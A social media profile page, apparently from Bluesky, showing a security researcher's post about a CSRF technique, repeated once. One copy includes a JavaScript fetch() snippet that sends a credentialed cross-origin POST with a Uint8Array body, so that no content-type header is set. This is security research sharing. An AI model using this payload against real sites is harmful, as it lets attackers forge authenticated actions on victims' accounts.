iiinova — where your digital self keeps evolving

0x999

@0x999.net

915 followers 141 following 13 posts

0x999 @0x999.net · 02/12/2024

Very cool technique by @nastystereo.com for POST based CSRF without a content-type header using a Blob object, Interestingly it also seems to work using a Uint8Array

fetch('https://example.com/endpoint', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
body: new TextEncoder().encode(JSON.stringify({x:"x"}))
})

061

0x999 @0x999.net · 02/12/2024

Very cool technique by @nastystereo.com for POST based CSRF without a content-type header using a Blob object, Interestingly it also seems to work using a Uint8Array

061